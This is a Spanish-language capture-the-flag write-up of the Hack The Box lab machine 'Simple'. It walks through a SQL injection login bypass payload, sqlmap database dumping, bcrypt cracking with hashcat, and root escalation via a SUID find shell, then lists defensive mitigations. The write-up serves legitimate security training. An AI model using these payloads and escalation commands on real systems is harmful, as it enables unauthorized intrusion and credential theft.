371 palabras
2 minutos
HTB Writeup: Máquina 'Simple' — SQLi + Escalada de Privilegios

Dificultad: Fácil
OS: Linux
Puntos: 20
Estado: Retirada


Reconocimiento#

Escaneo inicial#

Terminal window
sudo nmap -sS -sV -sC -p- --min-rate 5000 10.10.11.50 -oN simple.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http Apache httpd 2.4.52

Solo dos puertos abiertos. Vamos al web.


Enumeración Web#

Al entrar a http://10.10.11.50 encontramos un panel de login simple.

Terminal window
# Fuzzing de directorios
ffuf -w /usr/share/wordlists/dirb/common.txt \
-u http://10.10.11.50/FUZZ \
-fc 404
# Resultado relevante:
# /admin [Status: 302]
# /config [Status: 403]
# /login [Status: 200]

Identificar tecnología#

Terminal window
whatweb http://10.10.11.50
# [+] PHP/7.4.3, Apache/2.4.52, Bootstrap/4.5.2

Explotación — SQL Injection#

El formulario de login es vulnerable a inyección SQL básica. Probamos el clásico bypass:

Usuario: admin' OR '1'='1
Password: cualquiera

Entramos directamente. Pero vamos más allá — extraemos la base de datos completa con sqlmap:

Terminal window
# Capturar la request con Burp y guardarla en login.req
sqlmap -r login.req --dbs --batch
# Databases:
# [*] information_schema
# [*] simpleblog
# Extraer tablas
sqlmap -r login.req -D simpleblog --tables --batch
# [+] users
# Extraer datos de usuarios
sqlmap -r login.req -D simpleblog -T users --dump --batch
+----+------------------+------------------------------------------+
| id | username | password |
+----+------------------+------------------------------------------+
| 1 | admin | $2y$10$hashedpassword... |
| 2 | john | $2y$10$anotherhashedpw... |
+----+------------------+------------------------------------------+

Crackear los hashes#

Terminal window
# Guardar el hash en un archivo
echo '$2y$10$hashedpassword...' > hash.txt
# Crackear con hashcat (bcrypt = modo 3200)
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
# Resultado: password123

Acceso inicial — SSH#

Con las credenciales crackeadas intentamos SSH:

Terminal window
ssh john@10.10.11.50
# Password: password123
john@simple:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)
john@simple:~$ cat user.txt
HTB{u53r_fl4g_4qu1}

🎯 User flag obtenida.


Escalada de Privilegios#

Enumeración local#

Terminal window
# Buscar binarios con SUID
find / -perm -4000 2>/dev/null
/usr/bin/find ← Interesante
/usr/bin/sudo
/usr/bin/pkexec
/bin/su

El binario find con SUID es una escalada clásica. Verificamos en GTFOBins:

Terminal window
# Escalada con find SUID
/usr/bin/find . -exec /bin/sh -p \; -quit
# sh-5.1# id
uid=1001(john) gid=1001(john) euid=0(root) groups=1001(john)
# sh-5.1# cat /root/root.txt
HTB{r00t_fl4g_pwn3d!}

🎯 Root flag obtenida. ¡Máquina completada!


Lecciones aprendidas#

  1. Nunca concatenar input del usuario directamente en queries SQL — usar prepared statements
  2. Los binarios SUID mal configurados son vectores críticos de escalada de privilegios
  3. La enumeración sistemática es clave — no saltar pasos

Mitigaciones#

// MAL — vulnerable a SQLi
$query = "SELECT * FROM users WHERE user='$username'";
// BIEN — prepared statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE user=?");
$stmt->execute([$username]);
Terminal window
# Revisar y remover SUID innecesarios
chmod u-s /usr/bin/find

¿Dudas o correcciones? Encuéntrame en Twitter como @Oguiii 🔐

HTB Writeup: Máquina 'Simple' — SQLi + Escalada de Privilegios
https://oguiii.xyz/posts/htb-writeup-simple/
Autor
Oguiii
Publicado el
2025-02-03
Licencia
CC BY-NC-SA 4.0